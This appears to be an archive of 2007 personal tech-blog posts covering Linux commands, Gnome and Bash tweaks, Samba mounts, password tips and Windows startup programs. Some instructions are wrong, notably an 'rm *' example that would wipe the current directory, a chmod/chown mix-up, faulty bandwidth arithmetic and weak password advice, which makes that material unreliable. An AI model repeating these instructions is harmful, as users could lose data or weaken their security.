rm - Remove / Delete Example rm /home/username/oldfile.txt Explanation: this will delete the file name oldfile.txt in the directory /home/username

Example rm -R /home/mark/temp Explanation: This will delete the folder temp. The -R flag tells rm to include subdirectories

Example: rm * /home/mark/temporaryFiles Explanation: You can include wild cards as well. This command will delete all files in the folder temporaryFiles

File Permissions

chmod - Change file permissions Example: chmod -R 755 vacation Explanation: Recursively (go into subdirectories) change permissions to the default on the directory vacation.

chown - Change owner Example: chmod mark vacation Explanation: Change owner on directory vacation to mark.

Compressing and Extracting

Compressing Example: tar -cvjf test.tar.bz2 test.txt Explanation: Compress the file test.txt with the bz2 compression.

Extracting Example: tar -xvjf test.tar.bz2 Explanation: This will extract the file test.tar.bz2 to the current directory.

Text Maniuplation and Pipe

history - List of recent commands you have used Example: history

grep - Find a keyword and output the results Example: history | grep nano Explanation: This command prints the results of the command history and ‘|’ (pipes) them to the program grep. grep then searches through the results and only returns the lines of results that contain the keyword ‘nano’. This specific example will look through the recent text files you have edited with the program nano.

cat - Concatenate Example: cat /proc/acpi/thermal_zone/THRM/temperature Explanation: Concatenate (Print) your CPU temperature to the screen.

less - Show only what you can see on your screen at a time Example: cat dmesg | less Explanation: Show the dmesg file piece by piece.

tail - Show the last bit of the text file Example: cat dmesg | tail Explanation: Show the the last part of the file that will fit on your screen.

slocate - Search your hard drive for files matching a specific keyword Example: slocate Xorg.conf Explanation: Find where the file Xorg.conf is located at.

Example: updatedb Explanation: Update the hard drive index for searching with slocate.

System

reboot - Reboot the computer

halt - Shutdown the computer

top - See system resources and currently running programs

ps -A - See a list of programs that are running Example: ps -A | grep gnome Explanation: Find any programs running that have gnome in their name. (See grep)

df - Show remaining disk space

du -sh directoryName/ - Show the size of a directory in human readable format (hence the h flag)

uptime - Display the system uptime

Networking

ifconfig - Interface Configuration Example: ifconfig eth0 down Explanation: Deactivate your primary ethernet card.

scp - Shell copy Example: scp root@192.168.0.201:/home/username/Mypic.jpg . Explanation: Copies the file Mypic remote from the host 192.168.101 via ssh to current directory.

wget - Web get Example: wget http://releases.ubuntu.com/feisty/ubuntu-7.04-desktop-i386.iso Explanation: Download Ubuntu to the current directory.

Security

md5 - Do a md5 hash on a file Example: md5 filename.txt Explanation This will run an md5 hash on the file this will output a 32 digit hex like this, ‘ffd93f16876049265fbaef4da268dd0e’.

Fun

Example: mplayer videoyouwant.avi -vo aa Explanation: Watch your favorite avi file in ASCII format.

Turn Off Gnome Animations and Hide Window Contents While Dragging

2007-09-24T00:00:00Z

Have old hardware, slow computer or a server that requires a Gnome and want to find out how to make Gnome use less memory and other system resources? I have searched the internet for a long time looking for way to make gnome use a wire-frame method of stretching/resizing windows. I have now found this option in gnome as options to turn off other resource hogs to make gnome run a little faster especially on older hardware when you can’t afford to waste those precious CPU cycles. By default Gnome makes it difficult to find the option to turn off these CPU intensive GUI features but once you know where these options are it is easy to fix.

To enable these resource saving features open gconf, from terminal:

gconf-editor

from there go to: /apps/metacity/general and check on reduced_resources

also: /apps/panel/global and uncheck enable_animations

also: /desktop/gnome/interface and check off the box for accessibility

10 Linux Shortcuts You Can't Live Without

2007-09-21T00:00:00Z

1. Tab

The most handy shortcut and time saver for the linux command line. This actually makes navigating directories faster in the CLI than the traditional GUI browser. Simply start typing the command, filename, or directory and hit tab. Bash will automatically complete what you are typing. It even works at the lilo prompt and in some X applications.

2. Ctrl + c

Stop that program dead in its tracks. This is the command line version of end task.

3. Ctrl + z

Send the current process to background. This is useful if you have a program running, and you need the terminal for awhile but don’t want to exit the program completely.

Type the command fg to get the process back.

4. Ctrl + d

Log out from the current terminal. If you use this in an X terminal emulator such as xterm it will usually close it after logging out.

5. Ctrl + u

Erase the current line. I use this one all the time when I type the wrong command in.

6. Ctrl + Alt + F1, (F1-F6)

Switch to the first virtual terminal. In Linux, you can have several virtual terminals at the same time. The default is 6. (Ctrl + Alt + F7 to get back to X)

7. Ctrl + l (lowercase L)

Clear the terminal.

8. Ctrl + Alt + Backspace

Kill the X server. Use this if X crashes and you can’t exit it normally. If you’ve configured GDM to start automatically at bootup, this restarts the server and throws you back to the graphical login screen.

9. Ctrl + a

Move the cursor to the beginning of the current line. Usefull for those times you navigated all the way through 20 directories and forgot to add ‘cp’ to the beginning. Use this instead of the arrow keys.

10. Ctrl + e

Last but not least get that cursor back to the end of the line.

Adding Color and Customize the Bash Prompt (PS1)

2007-09-20T00:00:00Z

What is the PS1?

The PS1 is the first thing that you see when you open a terminal. In the picture below it is the green text, ‘mark@thinktank:~$’. The default bash PS1 only shows ‘[hostname]$ ‘. This is not very useful since you have to type ‘pwd’ all the time just to see what directory you are in. I prefer to my current directory in the PS1.

On the other hand the default Ubuntu/Debian prompt shows, ‘mark@thinktank:~$’ which is 100 times better than the previous example, but even it still can be improved. I prefer to have the PS1 colored because I want to have a visual way of distingusing between different user accounts on my computer. This is especially helpful for distinguishing between a regular user and root. By doing this I tend to make less mistakes at the console as root :) .

Let There be Color

Use your favorite text editor and uncomment the line in .bashrc under the line:

Comment in the above and uncomment this below for a color prompt

It may look similar to this:

PS1='${debian_chroot:+($debian_chroot)}\[33[01;32m\]\u@\h\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '

The code above will give you the same result picture above. Then save the file and reload your terminal (Use the Linux shortcut ctrl-d and relogin or click your terminal icon)

Make Root a Different Color

In order for root to have a different colored PS1 you need to edit root’s .bashrc config file.

Open this file with your favorite text editor. It is usually located here, ‘/root/.bashrc’.

Uncomment the same line as before to add color, and change the number 32 in the line to 31. This will change the color from green to red. See below for other colors.

PS1='${debian_chroot:+($debian_chroot)}\[33[01;31m\]\u@\h\[33[00m\]:\[33[01;34m\]\w\[33[00m\]\$ '

Now you know how to make the default bash PS1 prompt a little more useful and colorful :) . Now I will leave the rest of the post for reference material so you can customize the prompt to your own needs. Let me know what useful PS1s you come up with.

Common Bash PS1 Flags

\a an ASCII bell character (07) \d the date in “Weekday Month Date” format (e.g., “Tue May 26”) \e an ASCII escape character (033) \h the hostname up to the first `.’ \H the hostname \n newline \r carriage return \s the name of the shell, the basename of $0 (the portion following the final slash) \t the current time in 24-hour HH:MM:SS format \T the current time in 12-hour HH:MM:SS format \@ the current time in 12-hour am/pm format \u the username of the current user \v the version of bash (e.g., 2.00) \V the release of bash, version + patchlevel (e.g., 2.00.0) \w the current working directory \W the basename of the current working direc-tory ! the history number of this command # the command number of this command \$ if the effective UID is 0, a #, otherwise a $ \nnn the character corresponding to the octal number nnn *\* a backslash [ begin a sequence of non-printing characters, which could be used to embed a terminal con-trol sequence into the prompt ] end a sequence of non-printing characters

Bash Color Codes

Black 0;30

Dark Gray 1;30

Blue 0;34

Light Blue 1;34

Green 0;32

Light Green 1;32

Cyan 0;36

Light Cyan 1;36

Red 0;31

Light Red 1;31

Purple 0;35

Light Purple 1;35

Brown 0;33

Yellow 1;33

Light Gray 0;37

White 1;37

Ideas for PS1

Color change for regular user vs. root Show the current directory Show time Show date Show hostname (especially useful when “sshing” into other computers)

Making GVim your Default Text Editor in Gnome

2007-09-19T00:00:00Z

By default Gnome uses gedit for the defualt text editor. Since I am constantly writing and modifying config files and programming in scripting languages I decided to try the “programmer’s text editor”.

There was a lot of hype about the program so had to find out what the all the hype was. The first time I used Vim I didn’t know what was going on. It seemed like the text editor was going crazy typing characters all over the place or deleting entire lines of code with one key. The learning curve was a bit of a challenge at first but I have since learned to love vim and will be writing more articles about it.

To me Vim is like the Photoshop of text editors. The more you learn it, the more your productivity and abilities increase exponentially. It also increases your geek factor by 10. :) Don’t take my word for it. Try it by installing it and running ‘vimtutor’. Make sure you get through the whole tutorial. It is only the very basics of Vim and you will probably be totally lost without it.

Ok, lets switch the default Gnome text editor to vim…

Install Vim for console and GUI

Type or copy the following command for your operating system.

Debian / Ubuntu sudo apt-get install vim sudo apt-get install vim-gnome

Gentoo emerge -a vim

FreeBSD pkg_add -r -v vim-lite

Tell Gnome You Want to Use GVim

In Gnome Right click on a text file, choose “Open with Other Application…”.

If you are using Ubuntu Gvim will be listed as a program in which to open the text file. Select it and click Open. For other operating systems the default installation for gvim is ‘/usr/bin/gvim’.

Get a terminal, and cd to ~/.local/share/applications. There is now a new file in there called “gvim.desktop” or “gvim-usercreated.desktop”

In that same path create a new file called “defaults.list” with the following info:

[Default Applications] text/plain=gvim.desktop

Restart nautilus with “killall nautilus” (this will make the effect immediate without restarting)

Now, if Gnome gets updated and it changes /etc/gnome/defaults.list, your change would still be in place.

Thats it! You have now changed the Gnome default text editor to GVim. Remember you can still use Vim in the console by using vim instead of gvim.

I hope if you are new to Vim you at least try it for a reasonable length of time. You will probably be slower at first but it will be worth learning. It’s like typing class. Sure, looking at the keys is easier but if you learn to type without looking you will be much faster. :)

If you are an avid Vim user or you are trying it for the first time I would love to hear your experience with it. Leave a comment below.

Mounting a Samba Share that has Spaces

2007-09-18T00:00:00Z

It is often required to mount a shared Windows drive instead of browsing the share through nautilus or smbclient. For example you may want to set up a backup script that copies a local linux directory and uploads it to a windows share each night. This can be easily accomplished with a simple bash script; however, the script needs to be able to browse to the share through a normal directory. Since the bash script can only interact with regular directories we have to simulate a directory by mounting the share as a pretend linux filesystem (smbfs). This is what we are going to do today.

Things you need

Samba
smbfs
a text editor

Installing Samba

Ubuntu/Debian - sudo apt-get install samba Gentoo - emerge samba

Installing smbfs

Ubuntu/Debian - sudo apt-get install smbfs Gentoo - emerge smbfs

Making the Directory

As root: mkdir /mnt/windowsShare

Automatically mount the share on boot

nano -w /etc/fstab Add the following line near the bottom

//192.168.x.x/My\040Share /mnt/windowsShare smbfs username=user,password=pass 0 0

Replace 192.168.x.x with the host’s ip address (Find Your IP Address) Replace My\040Share with the share name (the ‘\040’ is the linux way of making a space.) Replace user with your actual username and pass with your password.

Now the next time you boot your computer you will automatically have a directory ‘/mnt/windowsShare’ that will contain the files/folders from the host computer. You can interact with this directory just as you would with any other directory.

To force the change now with having to reboot type this command:

sudo mount -a

This command will simulate a reboot by remounting everything in fstab that isn’t mounted.

Speed up the Gnome Menu and Fix the Annoying Icon Delay

2007-09-17T00:00:00Z

Recently I installed a copy of Ubuntu Feisty Fawn 7.04 on an older computer and I noticed that the Gnome menu was slow and the icons next to the menu items were taking a few seconds to load. At first I attributed this to the old slow computer. I later went home and booted up my new dual core system with 2gigs of RAM and noticed the same problem. At this point I knew that there was something wrong.

The first problem with the Gnome menu is that it loads the menu icons as needed causing a delay before you can see the icons. By default when you click the Gnome menu the icons are retrieved and loaded after the click (this is why there is a delay) and put in memory so they can be called later. Once the icons are in memory there will be no delay the next time you go to the same menu item. However, I think this is a bug since you should never see a delay in a menu system even if it is the first time you click on it. You can fix this problem by typing the following command as root.

gtk-update-icon-cache -f /usr/share/icons/THEMENAME/

Remember to replace the THEMENAME with the actual icon theme set you are using. The default is ‘gnome’.

The second problem I find with the Gnome menu is that it as a built in delay before sub menus are generated when you hover over them with your mouse. Unlike the ‘bug’ I described before this one is actually a feature :). Many users don’t want the sub navigation menu popping out as they are moving their mouse down the list to their final destination. The only problem is the delay is too slow by default and I recommend speeding it up a bit. You can do that with the following command.

echo gtk-menu-popup-delay = 100 >> ~/.gtkrc-2.0

If this speeds up the menu too much or not enough you can modify the speed by opening up the file .gtkrc-2.0 in your home directory and change the ‘100’ to a smaller number (faster) or a larger number (slower). You can do this with your favorite text editor or Nano text editor if you don’t have a favorite :).

nano -w ~/.gtkrc-2.0

This tweak should work on all distributions of linux.

So far I have tested it on Ubuntu Feisty Fawn 7.04.

For another performance tweak you can also Turn Off Gnome Animations and Hide Window Contents While Dragging. This is especially useful for older machines or servers.

What Exactly is an MP3?

2007-08-30T00:00:00Z

An MP3 is a file format. It stands for MPEG-1 Audio Layer 3. The name is not as really important as what exactly is digital audio. Audio is nothing more than a sound wave. It has certain attributes, usually these waves go up and down, have a height and a length.

As you may know computers only communicate using 1s and 0s; therefore, in order to represent these waves on a computer we need to translate and record the attributes of these waves with 1s and 0s. Below is a picture showing how we break down the attributes of the wave into numbers on a grid.

The numbers are then put in a sequence and stored digitally on a computer usually as a .wav file. This file is an exact (close enough) copy or replication of the analog sound waves, hence the name .wav. Since these files have to contain every attribute of the wave they can become very large and take up a lot of drive space. This is where MP3 comes to the aid.

MP3 takes the attributes of the wav file that the human ear cannot distinguish and removes them from the .wav file. It also has a way of compressing the data using what is called lossy compression. For example you could abbreviate the word Montana with MT. As long as the person receiving the file understands that MT is an abbreviation for Montana. This is called encoding and decoding. Encoding in terms of compression is to represent data using the least amount of bits. Decoding is interpreting the bits and displaying the actual data to the end user.

To clarify Montana is encoded to MT. As you can see MT is much smaller than Montana and takes up less space but means nothing to the end user until its decoded. The decoder or codec then converts MT to Montana and you have the final result.

MP3’s specific compression methods are too complicated to go into detail but hopefully you get the idea of what encoding and decoding is along with how analog sound waves are converted to digital 1s and 0s.

Picking Strong Passwords that you can Remember

2007-08-29T00:00:00Z

Passwords are needed for just about everything now. How do can you remember them all? Some sites force you to have 8 character password some 6 some even force you to have numbers in it. So how do you come up with a password that is strong yet easy to remember possibly even a different password for each site you visit?

So what is a weak password?

Here is Wikipedia’s short list of passwords or types of password that shouldn’t be used.

admin – too easily guessed
1234 – too easily guessed
abc123 – too easily guessed
susan – common personal name
password – trivially guessed, used very often
p@$$\/\/0rd – simple letter substitutions are pre-programmed into cracking tools
rover – common name for a pet, also a dictionary word
12/3/75 – date, possibly of personal importance
December12 – Using the date of a forced password change is very common
nbusr123 – probably a user name, and if so, very easily guessed
asdf – a sequence of adjacent letters on many keyboards
qwerty – a sequence of adjacent letters on many keyboards
aaaa – repeated letters, can be guessed

Strong Passwords you can Remember

A strong password contains a non dictionary word and has both alpha and numeric characters. It may look like this.

j7ayaYY88v

But how do we come up with a password that appears entirely random yet easy to remember?

I will show you a way that I think is easy to remember strong passwords or even one separate password per site.

Start by choosing a base password a set of characters or mini password that all your password will contain. This may be a password that you already have memorized and have been using for years. Or it could be something that you just thought of that would make for a good strong password. It is critical that this base password meets the following rules.

Not a word in the dictionary
Contains at least one number and/or symbol
At least 8 characters long

A way to come up with this type of password that is easy to remember is to use acronyms to your favorite poem, movie, or simple phrase. One example may be: YdkmPa! Which converts to You don’t know my Password anymore!.

You can also come up with a password that is completely random that is based off of your old password. Lets say your old password was password. This very common password can be made more secure by substituting each letter or every third letter for a number. Lets start with the first letter, ‘p’. This letter may represent a 9 since it looks similar. The next letter to convert is a ’s’. Since this litter makes a ssss or zzzz sound I will make this letter a zzzero or 0. The next letter would be an ‘o’. This also can be a 0 since it is similar shape. So our end password would look like.

9a0sw0rd

This of course is an example. You should think of your own way of substituting letters and numbers to come up with an even more secure password. Also when you come up with your own way up substituting you will be more likely to remember it. Here are a few substitution examples.

Change every 2nd letter to the 4th one down the line in the alphabet
Change only the letters in the top row of the keyboard that corresponds to the number above it. Example q=1, w=2, e=3 etc.. (This may vary on different keyboards)
Change letters to numbers based on sounds or down strokes. Example l=1, n=2, m=3

Different Passwords for Different Sites

You may not want the same password for every site you visit in case one of your passwords were ever compromised. What comes to mind for most people at this point is, oh no now I have to remember a new password for each site. It actually is quite easy to have a different password for each site and have it easy to remember. Here is an example.

Site: gmail.com Base password: password which translates to 9a0sw0rd.

You need to pick something from gmail.com that every site you visit in the future will have but will be different. An example of this would be the 2nd letter and third letter of the url. Or maybe a more obsecure one could be the 5th - 8th letters of gmail’s SSL certificate (I think this changes about once a year so be careful).

Once you have some letters/numbers that are specific to the site you visit (in this case gmail.com) you can then directly append them to your password or do the same substitution you did before or come up with an entirely new one.

Site: gmail.com Base password: 9a0sw0rd New password: 9a0sw0rdma (taken directly from the 2nd and 3rd letters of the domain)

Again come up with your own substitution that makes sense to you.

I understand that most of the time simple passwords are fine because most modern sites will allow only a few attempts before kicking you out of the login page; however, password cracking techniques are always improving and I think this method of generating multiple passwords for different sites is quite easy and sometimes fun :). So I encourage you to stretch your imagination and come up with ways of making your passwords more secure.

Does Having Many files on your Computer Slow it Down?

2007-08-27T00:00:00Z

Actually no. Unless you search for files on your hard drive on a daily basis or have less than 1% disk space left having a hard drive full of files does not effect your daily computer operation. This includes music, documents, pictures, videos, programs etc…

So what are these files?

Files on your computer are nothing more than bits of data, 1s and 0s. When they are sitting on your computer they do not effect how fast you browse the web, or play a game, or watch a movie, or how fast your computer starts up.

You can think of your hard drive as a filing cabinet just storing your files for use at a later time. When you need to pull up a file your computer knows the precise location of the file and retrieves the file extremely fast. Simply adding more files to the cabinet only makes the search for the file marginally slower but it doesn’t make your computer run slower.

So Where did this misconception come from?

Well, back in the old days, (only a few years ago) computers had relatively small hard drives and they were expensive. Many times a computer would only have a hard drive large enough to hold the operating system and only a few programs. The problem back then was that when the hard drive was full it would have little/no space left for virtual memory (backup memory for when the ram gets full) and the computer would suffer in performance when using programs requiring lots of RAM. Today hard drives have become much cheaper and are able to hold a lot more files and programs. These large drives rarely become full and this is no longer an issue. This performance loss due to a full drive will only happen if your hard drive is more than 99% full.

Another reason someone might mistakenly believe their computer is slow because of many files is due to P2P (peer to peer) programs. Many times people will install P2P programs to download music. After awhile they collect a few MP3s and they begin to notice that their computer is running much slower. They assume that their computer is slow because of the collection of MP3s on their computer. What is really happening is that the P2P programs are installing adware/spyware on the computer. These are programs that are running constantly using system resources thus causing your computer to run slower. Any program a computer is currently running will use some system resources. As soon the P2P program installs enough of these you will begin to notice the drop in computer performance. To get rid of spyware see the Spyware Removal Guide.

So there are many reasons why your computer might start running slow but having many files stored on your hard drive will not have any noticeable effect to our normal computer operations. If you are having problems with a slow computer you may have adware/spyware, a virus, many startup programs, or winrot.

Find Your IP Address

2007-08-26T00:00:00Z

Since most of the computers today communicate via the TCP/IP Protocol (don’t worry if you don’t know what that is) these computers must have an IP address in order to communicate. You can think of the IP address like a phone number or street address. For example, if we wanted to talk to http://www.google.com we must dial up their number (IP address) and ask them for something. Maybe we want to ask them if we can do a search on socks. When Google receives this request it may respond by sending a package to our computer. It does this by sending the package (list of websites that have information about socks) to our computer’s IP address. If we didn’t have an IP address Google wouldn’t know how to deliver the package.

The IP address is the basic way computer communicate on modern networks so it is sometimes very useful to know your IP address for many reasons. Chances are if you are reading this you already have a reason to know your IP address so I will show you how to find yours now.

Find your IP Address in Windows Vista | XP | NT or 2000

Step 1: Click Start - The start menu will come up

Step 2: Click Run

Step 3: Type in cmd and then press enter - A black box with some text should come up

Step 4:

Type ipconfig If you get a command not found error you have typed the wrong command and you need to check it and try again. If you want to view more information about your computer’s network card you can type ipconfig -all . Go ahead and try it and see what other information you can learn about your network devices.

Step 5:

After you have type in the command from the step above go through and locate the text that says IP address. Beside this will be your computer’s IP address.

Find your IP Address on a Mac

Step 1: Use Finder to open the applications folder

Step 2: then go to Utilities

Step 3: then go to terminal. When the terminal window opens, and the prompt appears, type ifconfig and press enter. The IP address will appear on the lines that start with “inet”.

Find your IP Address in Linux

Step 1: Open a terminal. You can usually switch to a terminal by hitting ctrl + alt + F1 at the same time. To switch back use ctrl + alt + F7.

Step 2: Once you have a terminal open type ifconfig. The IP address will then be listed. You may have to be logged in as root to use the ifconfig command.

Required Startup Programs

2007-08-23T00:00:00Z

On any given computer there are usually many programs that are set to run upon windows starting. Most of these startup programs are unnecessary but some are required. You already know how to remove startup programs but you just don’t know which ones are required for your computer to run normally.

Typically the only program you need to have running on startup for a Windows machine is an anti-virus program. All other startup programs are unnecessary and should probably be removed. Most of the core operating system programs that are set to run on startup are included in another list categorized as services anyways. So you don’t really have to worry about removing something system critical. Another thing to remember is that if you remove something from system startup you are not actually deleting the program you are simply telling windows that you don’t want that program to startup anymore. This action can then be easily reversed so there is little harm in turning off startup programs.

I will make a list below of the programs that I believe may be useful for system startup or required startup programs. For a list of programs that should be removed see Startup Programs and Removing Them.

ccApp (Symantec Anti-virus) look for your specific anti-virus maybe it is NOD32 or AVG
SynTPEnh (synaptics) laptop touchpads
SynTPLpr (synaptics) laptop touchpads
BatteryLife (anything that mentions battery life on a laptop may be useful)

Like I mentioned in Startup Programs and Removing Them, You shouldn’t really worry too much about disabling something you may need. If you find that a program is not in your system tray or a program is not loading anymore you can go back and enable it again.

Feel free to send me program names that you believe are required or may be useful on system startup through my contact form at the top of this page.

Start Your Computer in Safe Mode

2007-08-15T00:00:00Z

Safe Mode is a special diagnostic mode of Windows used for troubleshooting. Often it allows you to make changes to the operating system when you can not boot normally. This is usually caused by various reasons like incorrect drivers, viruses, spyware, and corrupt files. When your computer is in safe mode it only loads the absolute essential drivers needed to run.

Safe mode also restricts all startup programs from running. This means it is especially helpful to use when scanning for spyware. Since computers that are infected with spyware sometimes run startup programs that create pop-ups and slow down your computer, you can usually scan your computer for spyware much faster and delete more spyware/viruses when in safe mode.

How to get Into Safe Mode

Step 1

Shut down your computer.

Step 2

You are about to turn your computer back on, but get ready to hit the F8 key rapidly. It is usually located on the top row of the keyboard.

Note: On some keyboards I noticed that the “F” or Function keys like F8 are not activated by default and you must hit the “f-lock” key before F8 will work.

Press the power button to turn your computer back on.

Immediately begin tapping the F8 key along the top of your keyboard repeatedly. Usually 2-3 times per second is sufficient. The reason you have to continuously tap the F8 key is because computers are booting at a much faster rate and most computers only have a split second window of opportunity. This window of opportunity is between the last boot sequence before the Windows logo appears. If you see the windows logo you missed the window.

A black and white list of options should appear after several seconds. (On newer machines, tapping the button too fast may result in a high-pitched beep or the machine staying on a black screen for several minutes. If this occurs, turn your machine off and try hitting F8 slower.)

On the black and white screen there should be a list of options for you to choose from. You will need to use the arrow keys on your keyboard to navigate up and down the list of options.

Which Safe Mode Option Should I Use?

Safe Mode: Diagnostic Mode: This will not load CD-ROM drivers or Network capabilities. Use this mode if you cannot get the others to work.
Safe Mode with Networking: This mode that supports networking and internet access. I usually go for this mode incase I need to download something from the internet while I am troubleshooting.
Safe Mode with Command Prompt: Brings the computer to a DOS prompt.
Step By Step Confirmation: Allows you to monitor the loading of the operating system step by step. For Troubleshooting boot problems.

After your select one of these options you should eventually end up in Windows Safe Mode. Your computer’s resolution will be smaller meaning all text and icons will appear larger and you will probably have a black desktop background with windows safe mode text in the corners.

Getting out of Safe Mode

Getting out of safe mode is really easy. Simply restart your computer as normal to exit safe mode.

Check Your Internet Speed

2007-08-14T00:00:00Z

There are many reasons to check your internet speed. One reason is to troubleshoot your network to see if you are limited by your upload speed or download speed. Another reason is to find out if you are getting the advertised speed you were promised. Internet speed tests are really easy to do and only take a few minutes.

To check your internet speed go to the speak easy speed test. Then click on the server that is closest to you.

What do these connection speeds mean?

Network bandwidth is almost always measured in bits. eg. 3 Megabit per second connection or 3Mb. This however is often confusing to consumers as download speed and files are measured in bytes. So how fast can I download a 3 megabyte file? Many users would make the mistake and say it would take about three seconds. In order to determine how long a download will take you need to convert megabits to megabytes :)

A bit is a digit of data, either a 0, or a 1. A string of eight bits equals one byte so 1 megabit is equal to 125 kilobytes which would take about 25 seconds to download on a 3 Megabit connection.

An easy rule of thumb would be to take about ¹⁄₁₀ of the connection speed to determine the approximate download speed. So a 3 Megabit connection would roughly download a file at 300 kilobytes a second.

Startup Programs and Removing Them

2007-08-09T00:00:00Z

So you start up your computer only to wait 5 to even 15 minutes for Windows to fully load before you can go ahead and use your computer. This can be very frustrating to the user. More and more, programs are inserting themselves into the startup process so that every time you turn on your computer all sorts of unnecessary programs are running in the background without your permission. Most computer manufacturers including Dell, are notorious for pre-bundling unnecessary software that runs in the background of your system. The problem is that all of these programs and processes take up memory, CPU time, and other resources that can significantly slow your computer.

This annoying problem can be easily solved by investing only a few minutes of your time to identify the programs running on computer startup and prevent them from running. If you frequently start or restart your computer you will find that you will save a lot of time and your minimal time invested will be well worth your trouble. Now lets get started!

Note: this howto is not about removing any program components, only preventing them from running on startup. The computer user can then retain the option of running something at any time, while removing it from the startup process.

OK, the first step is to identify the programs that are running themselves when your computer first starts up. An easy way to do this is to save whatever you were working on and restart your computer. When your computer is finished starting up don’t open any programs just notice the icons in the lower right hand portion of your screen. You may have one or two or maybe a bunch. Make a mental note of what they are or write them down if you have many. If you are unsure what the program is hover your mouse over the icon and a tool tip will tell you what it is.

A Few Example Startup Programs

The only running program I tend to have on startup on a Windows machine is Anti-virus. You will usually find your startup programs hanging out in the system tray (Lower right hand corner near the clock-You may have to click on the expand arrow to see all of these programs if you have many) Your needs may vary so I will give a few examples of what I would consider a waste of resources from startup programs. You then can decide if that little messaging program is absolutely necessary to run every time you start your computer. Chances are that you have some programs in your system tray that you don’t even know what they do. In more cases than not there is no need for a program to be running in the system tray and it is safe as well as recommended that you get your system tray to be as minimal as possible. With that in mind when in doubt get rid of it.

Quicktime I have no need to have Quicktime running in the background collecting information about me and causing my computer to use unnessesary CPU cycles. When I want to watch a movie I will open up my media player and play my movie. After all Quicktime is only a codec and doesn’t need to be running anything in the background of your computer ever! This is only one example of course. Lets look at another.

Skype Skype is a program that many people use and want as a startup program because they cannot accept incoming calls unless it is running. The way I use Skype is to turn it on when I need it. If I know that I will be expecting a call from Norway at a specific time I turn it on a few minutes before I expect the call. After all you are probably not sitting at your computer all day anyways so if Skype is running while you are away people will be trying to call you. Rather when you are online with Skype make it mean that you are at your computer and ready to talk if someone wants to call. This is why I prevent Skype from running on startup. If you are at a work computer and/or use your computer to make many calls via Skype you may need to keep Skype running while you are at work.

Java Java is a great programming language and is often required by many Windows programs; however, the Windows Java runtime installs a program that sits in your system tray and looks for updates and generally wastes CPU cycles and system memory. I am all for updating your software. Almost always it is a good idea to have updated software. The only problem is that having a program constantly running looking for updates is a complete waste of your computer’s resources. Java is like the Quicktime codec example. There is no reason that the program has to be running unless you are running a program that requires the Java runtime. The program that requires the Java runtime will open it when needed and close it when it is done. There is once again no reason for this to be running at all times.

Using Msconfig

Once you have msconfig running you will notice some tabs along the top. The tabs in this program we are going to focus on is the General tab and the Startup tab. The General tab has the three options for startup:

Normal Startup - Default loads all programs set to run on startup. If you make changes in the Startup tab this will move to the Selective Startup automatically
Diagnostic Startup - Probably the most useful of the three options allowing you to disable ALL programs from starting on startup in one fell swoop. This is not entirely useful by itself since you are going to want some of your aplications to run on startup, but if you select this option hit apply and restart your computer you will get a feel for what your computer would be like with no startup programs.
Selective Startup - This is probably the option you will end up going with; however, you do not need to select this option. If you make ANY changes in the Startup tab of Msconfig this option will automatically be selected. This means that you have startup programs that you are preventing from running via the startup tab (Do not change anything below this option).

The startup tab lists all the programs that Windows will run the second your computer boots up. Inside the Startup tab window you will notice that there are three columns to sort by one is by:

Startup Item - This is a short usually one word description or name of the item that is starting up. It will sometimes say what it is and other times be totally obscure. For example Skype’s Startup Item says ‘Skype’. Where the Java runtime says ‘jusched’. Sometimes if you are unsure you can do a Google search and find out what the program is.
Command - This is usually the best way to identify a Startup Item as it shows the path of where the program is. The program path usually indicates what the program is indirectly by saying for example c:/Program Files/Java/jre1.6.0. As you can see the ‘jusched’ Startup Item is some sort of Java program we can tell that because under the command column it says java in the program path.
Location - The information in this column is usually not needed for identifying Startup Items.

Go ahead and go through this list and unselect all of the programs that you think are unnessesary startup programs. If you have an antivirus program make sure not to unselect it; although, if you do select it you can always open up Msconfig again and select it again and restart. These actions are NOT permanent and this does not actually remove the program it just simply instructs windows to ignore these on startup.

Just experiment and turn these off one at a time or if you are pretty sure its not needed just go crazy and start unchecking. Remember these are not permanent you are NOT removing these programs you are just telling Windows to ignore them on startup.

If you still unsure about what to remove you can type them up and send them to me via my contact form at the top of this page. As long as I don’t get a swarmed with requests I will email you back with suggestions on which programs I would remove. Here is a list of programs that I usually disable. I will add to this list as a find more of these running unnessesary CPU resource eating programs :)

Common Programs that Should not Need to be Run on Startup

Quicktime - Get QuickTime Alternative instead. Real Player - Real Alternative instead. MSN Messenger Windows Live Messenger Divx - Get defilerpak instead.

Startup Programs and my Recommendations

NvCpl – Nvidia Control panel (you can disable if you want)
nwiz – Nview Desktop Manager (you can disable if you want)
RTHDCPL – Realtek HD Audio (I would disable)
ALCMTR – Realtek Event Manager (disable)
AzMixerSel - Azalia Mixer Selector (I would disable)
AGRSMMSG - SoftModem Assistant (disable especially if you don’t use a modem)
vsnp2std - Camera Monitor from Sonix belonging to PC Camera Monitor Application
CSWalker – Not sure (disable)
Wireless Select Switch – (may be the switch on your laptop that enables/disables wireless you can probably leave this on)
PDVDServ - PowerDVD Remote Control (disable and use MPC instead)
Language – (disable unless you need another language)
dpmw32 - Netware Distributed Printing Client (Leave it I guess)
zentray - Part of Novell’s ZenWorks (Leave it)
NWTRAY - Novell Netware tray application (leave it)
ccApp – Norton Antivirus (leave it)
VPTray – Virus Protection Shield icon (leave it)
jusched – Windows task manager (leave it if you use it)
Reader_sl – Acrobat Reader (disable and use foxit reader)
SpySweeperUI – SpySweeper (leave it)
realsched – Real Audio (disable and use Real Alternative)
qttask – Quicktime (disable and use Quicktime Alternative)
ctfmon - Alternative User Input Text Input Processor, this is part of the language bar (leave it if you use another language)

Wireless Network Security

2007-07-26T00:00:00Z

Most households have some sort of broadband that is hooked up to a wireless router of some sort. These wireless routers are by default insecure. It is argued that wireless in any form is incredibly insecure due to the fact that you can’t physically contain it. In-Stat MDR and META Group have estimated that 95% of all corporate laptop computers that were planned to be purchased in 2005 were equipped with wireless. Issues can arise in a supposedly non-wireless organization when a wireless laptop is plugged into the corporate network. A cracker could sit out in the parking lot and break in through the wireless card on a laptop and gain access to the wired network. In my neighborhood alone within my range I am able to access five unsecured wireless networks and three WEP secured (insecure) wireless networks. With one single security-auditing program you could potentially view all activity within any one of these networks including: passwords, emails, bank statements, credit card numbers, and other private information. Do I have you scared yet? I hope I do since most households have unsecured wireless and it takes less than a minute to comprise its security.

Differences between wired and wireless networks

